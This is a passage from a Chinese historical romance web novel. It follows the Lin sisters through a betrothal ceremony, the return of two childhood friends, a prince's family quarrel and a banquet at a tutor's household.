叹了口气终是起身来到墙边摸索,不知他碰到了哪里,墙面竟然自动露出了个小孔,接着隔壁雅间的说话声便传了过来。 不是很清楚,但能听到。 林诗芸惊讶地捂住了自己的嘴,眼神中满是兴奋,她悄悄地来到宋晏身边,将耳朵贴在小孔上,隔壁大姐姐的声音便清晰的像是在一个屋子里一般。 林诗瑶:“你是说,你从小就心悦于我?” 郑子墨支支吾吾,“我,我不知道,知道的时候,我已经很喜欢你了,” 只这一句话便叫林诗芸笑岔了气。 宋晏靠在墙壁上看着她欢快的模样,心里痒痒的,有些东西像是要挣脱出来,叫他定定地望着她,眼睛里再也盛不下别的了。 宋晏一点也没有将秘密暴露了的自觉。 他知道林诗芸会好奇这个秘密,但却不会多问。 他小姑娘,其实聪明的很。 半晌,林诗芸又听见了郑子墨的山盟海誓,她终于憋不住,捂着嘴对宋晏摆了摆手,不能再看了,再看她就要笑死在这里了。 宋晏如她所愿,真的将机关给关上了。 再无声音传来,林诗芸终于放开了捂着自己的手,放肆的笑了起来,笑的花枝乱颤靠在墙上,前仰后合的,眼泪快要流出来了。 宋晏没有动,他静静地看着林诗芸的身体朝他越来越近,近到只需要他一低头,他便能亲吻到她的头发 按照身高来说,林诗芸刚好到宋晏的下巴。 于是,当林诗芸感觉自己笑的差不多了,直起身子跟宋晏说话的时候,宋晏的嘴唇刚好擦过了林诗芸的发,她扬起脸时,又差一点就亲到了她的额头 二人呼吸交错,发丝也快要纠缠在一处。她身上的淡淡栀子花香和他身上的龙涎香融合在一起,竟然生出了别样的甜蜜。 林诗芸突然感觉两人距离稍微有些近了,她仰着头,眨了眨眼睛,到嘴边的话竟鬼使神差的又咽了回去,她轻轻咬了咬唇,不自觉地向后退了一步。 而在宋晏的视角望去,是林诗芸笑意盈盈地模样,一双眸子湿漉漉的同他对望,还有那被她咬过的更加红润的唇瓣,淡淡的泛着桃色的脸颊,她身上的香味也直往他鼻腔里钻,叫他喉咙不自觉的滚动。 林诗芸别过了脸去,他却正好看到了她白皙的脖颈,恬美的侧脸,以及,她偷偷伸出的轻舔唇瓣的舌尖 宋晏只觉得鼻腔一股暖流涌出,他流鼻血了 他竟没觉得自己丢脸。 林诗芸刚要开口说话便发现了宋晏的异样,连忙抽出帕子帮宋晏止血。 林诗芸踮起脚尖捏着帕子给宋晏止血,嘴里还念叨着你是不是上火了啊,赶紧先坐下,两人都有些手忙脚乱。 只是林诗芸说话时的呼吸却直接喷洒在宋晏的脸上,宋晏的气血更 加上涌,他感觉身下快要爆炸,呼吸也更加急促了。 林诗芸焦急,怎么还越流越多了呢,她的呼吸声同他交织在一起,她微微皱起的眉头,关心他的模样同样叫他急不可耐。 但是他忍住了。 不忍住是不行的,隔壁怕是快要说完话了,现在可不是他表白的时机。 丫鬟小厮全不在,门外只有两个护卫守着,谁也不知里头这一对对的公子小姐在做些什么,他们不敢问,也不敢听,只将耳朵关闭了,好好的当他们的门神。 林诗芸都要急出汗来了,宋晏的鼻子这才止住了血。 林诗芸松了口气,叮嘱宋晏不要动,她又扯了条干净的帕子,去门后的水盆里全部打湿才递给宋晏,指着他的唇边道:“擦擦脸吧,这里还有些血迹,” 言罢皱着眉头看着他,“天儿热,回府叫下人煮些凉茶来喝喝。” 宋晏接过,轻轻地嗯了一声,就着帕子上的香气将整个脸全部擦了一遍,这时开门声响起,林诗瑶推门而入。 宋晏顺势将手里的帕子塞进袖口,一并连桌上带着血迹的帕子也收了起来。 林诗瑶皱眉看着一坐一站的二人,开口问道:“你二姐三姐呢?你怎么会和世子一处?” 林诗芸撅着嘴控诉,“二姐三姐在旁边雅间,表哥不知在哪寻了副千山先生的画作,二姐姐三姐姐都过去欣赏了,我不愿意同表哥还有那个姚若华一处,就在这里等你们喽。” 话语间还有些委屈,哼,是二姐三姐为了一幅画丢弃我的! 顾忌着宋晏的面子,林诗芸没说宋晏流鼻血的事情,只说二人在门口遇见的,宋晏见她自己在,便陪她来说话。 林诗瑶不轻不重的跟宋晏问了声好,那眼神分明就写着你的心思我明白,我的妹妹你也别再来招惹,我们家不同意。 林诗瑶也不管宋晏什么表情,直接对着身后的护卫道:“去请二姑娘三姑娘,就说我和四妹妹回马车上等她们。” 说完林诗瑶便抓着林诗芸的手腕走了。 林诗瑶走的很快,林诗芸小跑着还不忘跟宋晏摆手,宋晏眼看芸儿离开,伸手摸了摸袖口,轻吐口气,自顾自的喝了杯凉透的茶下半身的燥热才退了下去。 雅间的门敞开着,他可以听到隔壁众人下楼的动静,但他没动,他只是站在窗外静静地向下望去。 林诗芸抱着大姐姐的胳膊小声问,“大姐姐,那郑,嗯大姐夫走了?” 圣旨赐婚,再叫名字不合适了。 林诗瑶点了点头,脸上没什么表情,“嗯,走了,他说明天来府上下聘,着急准备东西去了。” 林诗芸张大了嘴巴,“明天?这也太快了些吧?狗东西就是不安好心!我不管,我不要大姐姐你这么快嫁人!” 林诗芸紧紧的抱着大姐姐的胳膊,急的都快哭了。 妈的她这一辈子好不容易有几个姐妹,这才欢乐的过了几年啊姐姐就要嫁人了! 说话间便到了马车旁。 林诗瑶忍着心中酸涩,笑着拍了拍妹妹的手道:“只是下聘,成婚还早呢,” 林诗芸抽了抽鼻子,“真的?” 林诗瑶点点头,自然是真的,她也不想这般早嫁人,做人家儿媳哪里有做爹娘的女儿舒服。 林诗芸终于松了口气,但是心里还是有了一种我姐姐马上就要嫁人了的伤感。 二人刚要上马车,便听到一阵马蹄声传来,远远地便听到有人大喊,芸儿妹妹!我回来了!芸儿妹妹!是我回来了! 二人回头望去,不多时便见一辆马车快速的停了下来,从车上蹦下来一个长相清俊的少年,少年个头不高,微微有些胖,笑的眉眼弯弯,忙跑到了林诗芸面前熟稔道:“芸儿妹妹,你今日怎得没去看赛龙舟啊,我等了好长时间都没见到你!” 林诗芸目瞪口呆的看着来人,半晌才反应过来,“沈钰?” 她也乐呵呵的看着对方,小手一挥就拍向了对方的肩膀,“你何时回来的?怎么瘦了这么多啊!回来怎么也不差人说一声啊?” 茶楼窗前的宋晏眼神瞬间冷了下来,不知何时站在他身后的姚君远挑着眉啧啧道:“完喽,竹马回来喽!” 只是下一瞬,他便啧不出来了。 马车上又下来一个人,只见这人静静地走向茶楼门口处,道了句,“好久不见了,情儿妹妹。” 刚一出了茶楼的林诗情和林诗意便听到了沈钰咋咋呼呼的声音。 沈钰确实瘦了很多,从圆滚滚的胖子已经瘦成了微胖的少年郎,白白胖胖唇红齿白的,还挺讨喜。 还来不及想这人小子是何时回来的,林诗情便看到一人向她走来。 那人身形修长,一身月白色长袍,朗目疏眉,丰神俊朗,用芝兰玉树,清风霁月来形容一点也不也过。 单论长相和气质,他不输宋晏。 沈容唇角带着淡淡的笑意,一双眸子直直看向林诗情,半晌道了一句,“好久不见了,情儿妹妹。” 沈容,年二十,太傅沈从文三子,曾是京中最出类拔萃的青年才俊,他不光相貌堂堂芝兰玉树,人品也是极佳,温润如玉,在京中一直颇有佳名。 只是两年前,沈容决心游历山川,沈钰也跟着一起走了。 沈容看着已经长大了的小姑娘,眼中除了惊艳,似乎还带着些许的思念和期待。 林诗情看清了来人,征楞了一瞬后微微颔首拉开了二人的距离,面无表情的回了一声,“沈三公子。” 沈容听着这生疏的称呼,苦笑着摇了摇头。 林诗瑶却是一把扯住了还想同沈钰寒暄的林诗芸,有些不耐烦道:“行了,赶紧上车。” 林诗芸乖乖点头跟着大姐姐上了车,沈钰却是不依不饶的冲着马车道:“我明天去府上找你玩啊芸儿!” 林诗芸扬起车窗冲着沈钰摆摆手,乐呵呵的道了声好。 直到定安侯府的马车消失不见,兄弟二人还站在那里。 沈钰有些懊恼,拍了拍脑袋道:“早知道今日就该直接去侯府的,哎,” 沈容则是转过了身子直直看向了二楼窗户下面色不渝的姚君远。 沈容挑眉一笑,转身便上了马车。 宋晏却是勾了勾唇角,故意道:“可惜了,这又是谁的竹马呢。” 姚君远也没生气,冷哼一声,“都走了两年了,还回来作甚?我可不怕他,回来便回来,公平竞争罢了。” 宋晏目光则是落在了笨手笨脚上马车的胖子身上,他面带讥讽,“公平竞争?就他,也配?” 本世子只一张脸便将他给比下去了! 第46章 马车上很安静。 姐妹三个默默的看着不发一言的林诗情。 林诗情坐在车里,透过车窗她能看到那个一直盯着自己看的高挑身影,她脸上没什么表情,仿佛那只是个无关紧要的人。 也确实只是无关紧要之人。 看到姐妹们都关心的看着她,她只笑着揉了揉妹妹的头。 曾几何时,姐妹几个都以为林诗情喜欢沈容。 林诗情也以为自己是喜欢的,毕竟沈容走时,她是那么的伤心。 可是她没有,她好似很快便将他淡忘了。 他走后父亲又专门给她请了个先生教她作画,先生是个五十多岁的老者,在书画上有很深的造诣,教的也很细致,她适应的很好。 后来她很少想起他。 虽然曾经的他确实很吸引她。 沈容大她五岁,因为父亲同沈太傅亦师亦友的关系,两家经常见面。 沈钰那时还是个小胖子,最喜欢的事情便是跟在芸儿身后叫妹妹。 而她对作画产生兴趣,便是因为有一次见到了沈容作画时的模样。 那年沈容刚满十六岁,他一身白衣站在梨树下,真真称的上是芝兰玉树,盛放的梨花也不及他挥洒笔墨时的清隽之姿。 再看他的笔下,两个放风筝的女孩子跃然纸上,周围的风景一览无余,竟比真实的她和妹妹还要鲜活。 那年林诗情十一岁。 仗着自己年纪小,她缠着沈容教她作画。 这一教就是两年。 她是个聪明的学生,他是个尽职尽责的老师,只是一日他突然告诉她他要去游学了,归期不定。 当时林诗情觉得自己挺伤心的, 还背着妹妹偷偷哭过。 只是后来换了老师,她也便淡忘了。 今日又一次见面,一些回忆又浮现在脑海里,她只是淡淡一笑,曾经的老师罢了。 竹马吗?算不上的。 谁家竹马大自己五岁呢。 林诗芸抿着嘴,偷偷的观察二姐姐。 林诗瑶可不是个能憋住屁的,看着不发一言的林诗情直接问道:“还喜欢他?” 林诗情无奈的看了大姐一眼,回道:“从前应该也不是喜欢,或许只是仰慕吧,很长时间不见,有些不知如何打招呼罢了。” 林诗瑶对沈容沈钰倒也没什么意见,只是并不喜欢罢了。 林诗情转移话题,“大姐姐可问清楚了?” 林诗瑶也不拆穿林诗情,只点点头,“问清了,跟他爹预谋了几日才去求的陛下,明日上门下定。” 此时林诗意林诗情的表情同刚刚林诗芸如出一辙,“这么快?” 林诗瑶喝了口茶才道:“嗯,只是下定,婚期应该在明年,我才不想现在就嫁人呢。” 二人这才松了口气,林诗瑶却叫马车停下了,出来一趟哪有空着手回去的道理,前头是家胭脂铺,姐妹四人又逛了一会子这才回府。 定安侯也已经回来了。 他累的气喘吁吁,脸上还有明显的伤痕,看样子战况还挺激烈。 林诗芸林诗情忍着笑退下了,她们知道忠勇侯的伤只会更严重。 他们走的很远还能听到侯爷大伯的骂骂咧咧,“个狗娘养的,也不知那小杂碎觊觎我宝贝闺女多长时间了,我去揍他爹他竟跑了!哎呲~闺女你慢点,” 姐妹二人噗嗤一笑,他倒也不想跑啊,可大姐姐找他,他也不敢不去啊。 林诗芸抱着姐姐的胳膊走在二房的小路上,脚边小花开的正好,五颜六色的,还挺好看。 林诗芸看了姐姐两眼,开口问道:“姐姐真的不喜欢沈三哥哥了吗?” 林诗芸觉得沈容比姚君远是强上一些的,至少在相貌和才学上要强很多,最重要的,咱家和沈太傅没啥亲戚关系,姐姐嫁给沈容,那她便不用担心生孩子的问题。 林诗情捏了捏林诗芸的鼻尖,打趣道:“芸儿知道什么是喜欢啊?” 林诗芸嘟嘟着嘴巴摇了摇头,她确实不知道什么是喜欢,但是她摇头的时候脑海里却呈现出宋晏的一张俊脸,于是她将头摇的更甚了。 就宋晏那一张脸,谁能不喜欢啊。 林诗情指着那满地的花道,“喜欢,就是看到他便心生欢喜,是浮于表面的,” 林诗芸不明白,看着盛放的鲜花她心情确实挺好的,便问道,“浮于表面?那,那什么样才是内在的喜欢呢?” 林诗情思趁了片刻才道:“像郑,大姐夫对大姐姐,那就是从内而外的喜欢,或者说叫心悦,钟情,就是看不到她会很想她,时时刻刻惦记着她,待见了她之后眼神便会一直望着她,眼睛里再也容不下别人了。” 林诗芸皱着眉头,好似有所顿悟:“哦,就是像我喜欢芍药,但是看到牡丹我也会很喜欢,这些都是浮于表面的,因为它们好看,我才会喜欢,或者说长得好看的我都喜欢。” 她煞有其事的点点头,她喜欢宋晏的脸,但是也喜欢自己这张脸,这就是喜欢。 嗯,她就是喜欢长得好看的。 宋晏也是喜欢她的吧?毕竟她长得这么好看。 但是心悦?她不确定,她还不能够时时刻刻的惦记一个人,她有时候倒是会惦记吃不到的大肘子。 罢了罢了,以后她总会明白的。 于是,林诗芸顺利的被林诗情给带到了沟里。 林诗情倒是未发现妹妹的异常,只笑着道:“嗯,哪里有什么喜欢不喜欢的,只是年少的心动罢了。” 言罢便笑着牵起了妹妹的手,“走吧,去听父亲说说今日在忠勇侯府到底发生了何事。” 林诗芸顿时来了兴趣,忙跟着姐姐去找父亲说话去了。 翌日,蓝天白云,天朗气清。 用过早膳没多长时间,林诗芸还在花园散步消食呢,便听外头敲锣打鼓的,不多时便有丫鬟小跑着前来道忠勇侯世子上门下定来了。 好家伙,那聘礼,得亏定安侯府是四进的宅院,前院大的很,要不然还真摆不下这些聘礼。 满满的五十八担呢。 而且每一箱打开都不是凡品,那金灿灿的首饰还有那极品的玉石,围观的百姓无不赞叹忠勇侯府的大手笔。 更有甚者在那里高喊,世子对大小姐果然是真爱,佳偶天成郎才女貌,二位实在是般配啊。 再看今日的郑子墨,一身鲜亮的紫袍,脸上那是秤砣都压不住的笑容,走在前头的小厮,光是撒喜钱都撒了一路呢。 因为给的够多,媒婆那一张脸都笑烂了,吉祥话更是一箩筐的往外冒。 本来还板着脸的定安侯看到这副情景,终于露出了些许的笑意,这代表忠勇侯府对大女儿的重视,看向郑子墨的眼神也满意了几分。 既是下定,林诗瑶自是要出现的。 正厅里郑子墨正挨个同长辈们行礼问安,到底是世家出身,他不卑不亢,彬彬有礼的回话,满身的气度倒也叫林家众人有些刮目相看了。 林诗芸几个躲在厅后偷摸的看外头的景象。 林诗瑶身着绣满海棠花的月白色长裙,头上是一整套的红宝石头面,施施然走进厅内。 她看到正盯着自己满脸惊艳的未婚夫微微笑了笑,只这一笑,便将郑子墨给迷的五迷三道,结结巴巴的连话都不会说了。 林诗瑶看着他那傻样,笑意更深。 已至今日,林怀安自是不能一直拉着一张脸,但是想到自己美丽大方的宝贝女儿要便宜这黑小子,心里就有些酸涩。 他看着郑子墨,怎么看怎么都不满意,长相不够英俊,还黑,还有个那样的混蛋爹,虽是个世子却没什么大能力。 林怀安叹了口气。 想到这人已经是女儿铁板钉钉的夫婿,便清了清嗓子,温和开口道:“今日虽只是下定,成亲的日子尚未定下,但本侯还是有几句话要嘱咐于你的。” “瑶儿脾气不好,是本侯宠的,本侯希望你能多担待一些,她挑食,爱吃甜,不太能吃辣,不吃姜,她吃东西比较精细,这些希望你都能记下,她还爱吃鱼,但是得挑仔细了没有鱼刺她才吃,不然她是一口不碰的。她不能接触带毛绒绒的衣物,每次碰到身上会起疹子,什么皮毛的披风大氅便不要给她用了。她爱用宝石胜过金饰,她不爱在鞋上绣什么花样,珍珠饰品她不喜太过圆润的,带着颜色的她更喜欢……” 林怀安说的絮絮叨叨,眉心微蹙十分专注。 站在母亲身旁的林诗瑶却渐渐红了眼眶。 她以为爹爹没那么爱她,甚至之前爹爹要将她许配给小校尉之事,她心中还埋怨了爹爹很久…… 原来,爹爹真的是把她放在心上的,只是他从不说而已。 爹爹事事都为她考虑到了,或许,或许真的是她误会爹爹了…… 侯夫人擦着泪,轻轻拍了拍女儿的手,“你爹爹啊,是怕你嫁的远,也怕你嫁的高,他曾经同为娘说过,他想给你找一门可以受他桎梏的亲事,这样,只要定安侯府一日不倒,他便不会担心你受委屈……” 所以,爹爹才会选中那个小校尉吗? 林诗瑶的眼泪啪嗒一下便落了下来,是她,是她不好,是她误会爹爹了。 却见郑子墨却扑通一下跪了下来,将一旁的媒人都给下了一跳。 不是,这之前对过的也没这个流程啊,怎么突然就跪下了呢。 郑子墨眼眶微红,对着侯爷侯夫人砰砰两个响头,一字一句道: “岳父大人的嘱咐小婿都已谨记在心!小婿自知有些莽撞,还请岳父岳母见谅,只是子墨心悦诗瑶已久,故才求了父亲去求陛下赐婚。” 郑子墨深吸口气,郑重道:“子墨是真心喜欢诗瑶,在此,子墨以家族起誓,此生只诗瑶一个妻子,不纳妾,不滥情,子墨定会一心一意爱护诗瑶,不叫她受半分委屈,还请岳父岳母大人放心!” 只这几句话,便叫林怀安夫妻一颗心终于放了下来,这孩子,敢以家族起誓,必然是能做到的。 林诗瑶看着傻子一般的未婚夫,一颗心也热的不像话。 装扮成抬聘礼下人的忠勇侯一口银牙差点咬碎,妈的狗儿子!什么玩意就以家族之名起誓!呸!他今儿是看出来了!他这个儿子就他妈是给林怀安个狗东西养的! 草!毁他女儿手里了! 第47章 端王府。 父子二人刚经历过唇枪舌战,最后以端王气到差点晕厥怒吼一声“你个不孝孽子”结束。 吵架的原因吗,自然是端王后悔了。 端王悔不当初并且幡然醒悟,啊,我爱的始终只有王妃一人啊! 完美的诠释了一个“贱”字。 然后他便急匆匆地将妾室全部打发了,别问他有没有侧妃? 前端王妃允他纳妾已经是对他极大的宽容了。 毕竟当初的山盟海誓可是一生一世一双人,变心遭雷劈那种。 端王刚要解散后院那几日,端王府是一团乱麻,糟糕透顶,每日都有女子哭天抢地,更有甚者大骂端王薄情寡义,但都没用,端王还是铁了心的将所有妾室都遣了。 这段时日宋晏直接宿在了别苑,今日才回来,便遇到了对着他横眉竖眼要求他告诉母亲去往何处的父亲。 宋晏一开始还算是和颜悦色的。 端王却开口便是痛斥,再到后面痛心疾首的指责宋晏不孝,竟然同他母亲亢泄一气,弃他而去。 什么叫“亢泄一气”? 宋晏不愿意了。 宋晏直接道:“那大肚子的女子不是您自个儿领回来的吗?不是您信誓旦旦的告知母亲那是您的骨血,叫母亲要好好照顾?难道您一后院的妾室都是母亲给您纳的?还是母亲逼着您做对不起她的事情?从头到尾误会母亲曲解母亲的意思,伤了母亲心的人是谁!背信弃义违背誓言的是谁!拈花惹草四处留情!带着一个个女子回来的又是谁?难道不是您吗?我的父王!” 迟来的深情比草贱。 端王被儿子气到发抖,指着儿子你你的你了半晌,身后的管家不断的给宋晏使眼色求他别说了,宋晏冷哼一声,也不管被他气到说不出来话的父亲,转身拂袖而去。 月光如水。 他提着一壶酒水坐在窗下,看着天上的星星,开始思念林诗芸。 如果芸儿在,定能理解他的。 他不知道自己能不能等到秋日提亲了,他有些孤独,他迫不及待想要芸儿的陪伴 一声世子殿下,一个黑衣暗卫闪现。 宋晏嗯了一声,暗卫道:“殿下,有暗卫来报,沈太傅府上给林大人递了生辰宴的帖子,乃是家宴,沈府只邀请了林大人一家,” 宋晏喝了一口酒水,“还有呢?” 暗卫继续道:“五日后长公主举办荷花宴,邀请京中适龄小姐和青年才俊参加,定安侯府几位小姐亦收到了帖子,盛安长公主还点名想见一见四姑娘。” 宋晏掀了掀眼皮,“大姑姑想见芸儿?为何?” 暗卫停顿了些许才道:“是太子殿下长公主说您确实该成亲了,便想,想见见四姑娘。” 宋晏点点头,略微放下了心。 他倒也没什么担心的,芸儿乖巧懂事相貌绝佳,姑母定也会喜欢的。 至于去沈府,估计跟芸儿的关系不大,那个沈三是君远要操心的,他只管看戏。 “荷花宴?姑母郊外的庄子?” 暗卫点头称是,宋岩嗯了一声,道:“差人收拾下郊外的庄子,春山附近的,本世子要搬去住些几日。” 一阵风吹过,暗卫没了踪影。 宋晏抬眸看了看天上的明月,不知他的芸儿此时是否已经安睡,可曾想起了他呢。 刚躺下的林诗芸忽的打了个喷嚏,听雨连忙上前试了试姑娘的额头,没有异样她这才松了口气。 林诗芸笑道:“没事的没事的,就打了一个喷嚏而已。” 听雨嗔道:“还不是姑娘白日里穿的单薄玩出了一身汗,奴婢这才担心。” 林诗芸嘿嘿的笑着,她白日里将两只兔子给放了出来,追着玩了一下午,可不跑了一身汗吗。 她安抚听雨道:“好啦好啦,听雨不用担心,我身体强壮的很呢,你快去歇着吧。” 听雨帮林诗芸掖好被子这才退了出去,林诗芸便也躺下了,只是睡的迷迷糊糊时脑袋里突出就冒出了宋晏的一张俊脸,她扬了扬唇角,嘟囔了一句晏哥哥可真好看啊,这才沉沉睡去。 与此同时,同样得到了消息的姚君远夜不能安寝,他躺在床上翻来覆去,最终还是爬了起来。 夏夜的凉风叫他头脑更加清明,他望着皎洁的月,坚定了心中的想法。 明日,他该和母亲坦白了。 林诗瑶的婚事尘埃落定。 接下来的,便是林诗情的婚事了。 男子倒是不急,大房二房一个意思,待及冠之后再谈婚事也是不晚的。 姚氏最近一直在打听适龄的青年,五品京官以上家中的青年才俊,她都看了个遍。 要说条件最好的,当属刚回来的沈三。 两家关系一向要好,姚氏点点头,将沈太傅生辰的帖子收了起来,到时候再仔细看看,毕竟一别两年,她总得瞧瞧沈三的变化。 至于小时便黏着芸儿的沈四,她倒觉得配芸儿确实不错。 都是爱吃爱喝爱玩的性子,且上头有长嫂不用操心家事,对芸儿这个懒散的性子来说,属实是不错的人选了。 若是两姐妹嫁了两兄弟,两姐妹还能互相帮衬着,那她就更不用担心了。 嫡姐也是看中芸儿的,想讨了去做儿媳,只是丈夫嫌弃嫡姐家的三个儿子都是糙汉莽夫,说什么都不同意。 姚氏叹了口气,眼睛看向手边的另一封帖子,长公主的荷花宴 今日来的嬷嬷还专门提了一嘴芸儿,此次芸儿是非去不可了的。 只是,这到底是陛下的意思,还是长公主自己的意思呢?端王世子若是铁了心的想娶芸儿,他们是一点招架之力都没有的。 刚洗漱回来的林怀诚看到对着帖子皱眉的妻子,安抚道:“不是什么大事,或许长公主只是想见见芸儿呢。” 姚氏嗔了丈夫一眼,“咱家四位姑娘,谁也没提,偏偏就提了芸儿?什么或许啊,就是,就是,” 姚氏想说就是没安好心!但是她没敢,总归那是天家之人,她万不敢造次的。 夫妻父亲俩对视一眼,索性破罐子破摔,罢了,若是遇到合适的儿郎,他们便尽快将芸儿的婚事定下,天家也不能抢婚吧? 夫妻俩猜错了。 宋晏他真敢。 只是事情还没到那一步,宋晏是认为他有办法打动林家众人的。 晨起,姚国公府。 姚国公已经上朝去了。 姚君远跪在母亲身前,终于向母亲坦露心迹,下定决心求娶表妹。 大秦氏揉了揉眉心,“你为何早些不说呢?你爹因着你拒了县主的婚事,对你颇多失望,现在你告诉我你心悦诗情?儿啊!你可知那是你嫡亲表妹!” 大秦氏深吸口气,她是喜欢诗情那孩子的,懂事知礼,可若是叫诗情做儿媳,她还是有些迟疑的。 若是娶了林诗情做媳妇,她便不能拿调教儿媳那一套来对待诗情。 她倒也不是什么恶婆婆,只是长子长媳,以后国公府是要交给他们的,她总要调教出能撑的起国公府的儿媳吧。 大秦氏望着儿子的面容,终是不忍,“若是你决定了,娘亲便同你父亲商量,可是你要考虑清楚,你姑母虽疼你,但事关亲生女儿,她不可能随意便允了,且,你姑丈也不一定能看中你不说这个,有林诗瑶同忠勇侯世子的婚事珠玉 在前,侯府对女婿的挑选必会更加严苛,你,可能保证一辈子不纳妾?” 在大秦氏心里,是希望儿子儿媳能够相敬如宾白头偕老的。 有妹妹的事情在前,自己也因为丈夫的小妾受了许多委屈,什么延绵子嗣多子多福,在她心里都是个屁!生一个两个的不是绵延子嗣了?非得生出一堆来争来争去的? 大秦氏也不去听儿子的回答,只继续道:“你先去考虑清楚了,若你真能做到,娘亲便同你父亲商量,别忘了,你祖母尚在,身体也还硬朗,你祖母可是极喜欢你小姑母两个女儿的,若是你之后有任何对不起你表妹的地方,你祖母定饶不了你!儿啊,你随性惯了,娘希望你考虑清楚。” 可姚君远却面容坚定的跪在母亲身前道:“儿子知道,儿子已经想了几夜,若是能娶到表妹,是儿子一生幸事,儿子从未考虑过纳妾,也不会染指别的女子,在姨母和您身上,儿子都看到了儿子虽然混,但是从未真的沾花惹草,儿子一直洁身自好,从未去招惹过什么女子,母亲,儿子是真的钟情于表妹,还请母亲成全!” 好半晌,大秦氏深深的叹了口气,“罢了,母亲去试上一试,只是,这事能不能成,母亲也说不准,毕竟你这么多年混惯了,怕是你姑丈不会同意啊。” 这头解决了,姚君远转头又去了祖母处,在胡搅蛮缠这件事上,他还是跟着林诗情学了一些的。 转眼便到了沈太傅生辰这一日。 林父带着妻子儿前去庆贺。 本就是家宴,这一日做客的只有二房一家子。 林父今日回来的早,略作收拾便去了沈府。 林景明还在书院,林景闲今日下了学要陪祖母,只两姐妹跟着父母前去。 林诗芸默默地抱着姐姐的胳膊当吉祥物,自沈三回来,她这几日便一直观察着姐姐,她发现姐姐真的并无异样,该作画时作画,该上课时上课,她也旁敲侧击的提过沈容,但姐姐只是点点头,并也多言。 所以林诗芸想,姐姐大概真的是不喜欢沈三哥的,或许那是曾经叫她心动的少年,但此去经年,已成过眼云烟了。 谁还能一直等在过去,不往前走呢。 很快便到了沈府。 沈太傅夫妻生了四个儿子。 太傅洁身自好,夫妻感情甚笃,家中并无妾室。 四个儿子中,沈大沈二已经成家,沈大如今在国子监教书,沈二不愿意入仕,倒是经商的一把好手。 二人各自娶了贤惠的妻子,如今一家人都住在一处日子,小摩擦虽有,但也算欢乐祥和。 沈三便是沈容,生为天之骄子,幼时便有神童之称,十七岁便中了举,还是头名的解元,谁料这人却不往上考了,突然出京游览名山大川,如今回来,也是被父亲胁迫,叫他下场试上一试。 沈四沈钰是个游戏人间的,没遗传到定丁点沈太傅的文学细菌,头脑和四肢一样简单。 沈太傅带着林父看自己收藏的宝贝去了。 姚氏陪着沈夫人说话。 只是姚氏看着沈夫人看大女儿略带审视的眼神,心中便有了些猜想。 沈夫人盯着林诗情打量了半晌,终是满意点头。 沈夫人终于将话题引到婚嫁一事上,姚氏不动声色,反而好奇询问不远处的陌生女子是谁家的姑娘。 那姑娘十六七岁的年纪,一身白衣,柔柔弱弱的,身形消瘦,面色也有些苍白,在有人看向她的时候,总是会不自觉的低下头,可怜巴巴又俏生生的模样却不叫人反感,反而给人一种怜惜之感。 沈夫人将人唤来,牵过这姑娘的手对姚氏介绍道:“这是我娘家侄女,我嫂子前年生病去了,我便差了人将她给接了过来,” “婉婉,快来给姚夫人请安。” 孟婉婉给姚氏行礼问安,初次见面,姚氏自是要有所表示,便退下了手上的玉镯带在了孟婉婉手腕上,又夸赞了几句。 沈夫人笑着打发孟婉婉带着林诗情姐妹去逛逛园子。 这时候沈钰却小跑了过来,大声嚷嚷道,“表姐体弱,还是坐着休息吧,我带情儿姐姐和芸儿去玩,走走走,” 沈钰也不管母亲,蹦蹦跳跳的带着林诗芸就跑了。 林诗情无奈朝孟婉婉点了点头,大步追上二人。 “芸儿你可得看看我种下的桃树,都已经长得这么粗了,听伺候的丫鬟说春日里可是开了不少花了,到秋日定能结出又甜又大的桃子来。” 离的远了众人都还能听到沈钰的念叨。 沈夫人看着又犯浑的小儿子气急,孟婉婉忙安抚,“姑母别气,表弟走的快,我一会儿就追上他们了。” 说完也笑着走了。 沈夫人叹了口气,对姚氏道:“我这个侄女啊,实在懂事,叫我心疼的很啊。” 沈府的两个儿媳也都找了借口下去了。 沈夫人不绕圈子,笑着同姚氏道:“不瞒你说,我是喜欢你们家诗情的,懂事知礼,相貌也是一等一的,我们家三郎也已及冠,我今日便厚着脸皮求你将诗情许给三郎,咱们两家做个亲家如何?” 姚氏也不意外,她女儿的才情人品都是一等一的,一家女百家求,虽说这沈三是个不错的,但是她也不能马上就应了的,她笑着道:“您喜欢情儿是她的福气,只是这事,毕竟是婚姻大事,待回府还得同外子商量一下,再回复您如何?” “您放心,三郎也是我看着长大的,我是极喜欢的,只是,关乎儿女一辈子,咱们还得询问过小辈的意见才行呢。” 沈夫人心里知道,姚氏是对三郎满意的,毕竟这满京城的儿郎,再没有哪个是比三郎更优秀的了。 沈夫人笑着道,“是是,咱们还得问问小辈的意思,” 说完二人心照不宣的对视一眼,这才聊起了家常来。 第48章 沈府虽只三进的宅院,但是装饰的却别有韵味。 几步一处花草,看着都叫人觉得惬意。 已至夏日,天儿已经热起来了,正是游湖的好时候。 大片的荷花已经开了,竟还有莲蓬可以摘。 这观景湖不大,但也有凉亭小桥,十分雅致。 林诗芸想去摘莲蓬,偏偏这沈钰非要拉着林诗芸去钓鱼。 别说,湖水不深,放眼望去倒还真能看到不少肥美的鱼儿。 林诗芸瞬间心动,摘什么莲蓬,吃大鱼不香吗! 回府她一定要往塘子里也多放些鱼苗,瞧瞧人家府上养的,连鱼都白白胖胖的,她们府上净是些花里胡哨的金鱼! 还是人家沈太傅有品位,要不说雅俗共赏呢,他爹就不行了,他爹不让她碰那些养在塘子里的金鱼,说都是什么名贵品种,怕她给养死了,开玩笑! 她这回养鲫鱼鲤鱼大头鱼!她倒要看看她养好了爹爹会不会吃!哼! 于是林诗情便被妹妹拉着钓起了鱼。 孟婉婉看着其乐融融的三人,咬着唇站在不远处,一时不知该怎么融入他们。 沈容过来的时候便瞧见了如此的景象,表妹像个小可怜似的站在一边,湖边的林诗情正襟危坐着钓鱼,只有小弟,一会去找林诗芸说句什么,过来过去的,没个钓鱼的样子。 最后给林诗芸闹烦了,一巴掌就扇了过去,小弟这才老实的坐下钓鱼去了。 沈容失笑,还得是小芸儿知道怎么对付小弟,不打不老实。 他的目光又落在林诗情身上,她无奈的笑着着安抚妹妹,又正襟危坐的握紧了手中的鱼竿。 情儿总是这样,做事非常专注,轻易不受打扰。 孟婉婉也看到了沈容,苍白的小脸被太阳晒的有些红扑扑的,怯怯的叫了声表哥,却又转过了身子,有些艳羡的看着钓鱼的三人。 沈容看着表妹,知道她在羡慕什么,他刚想轻声安抚,却听 林诗芸啊的一声,鱼线瞬间被她给收了起来,而被她钓到的那条鱼也成功的飞上了天空。 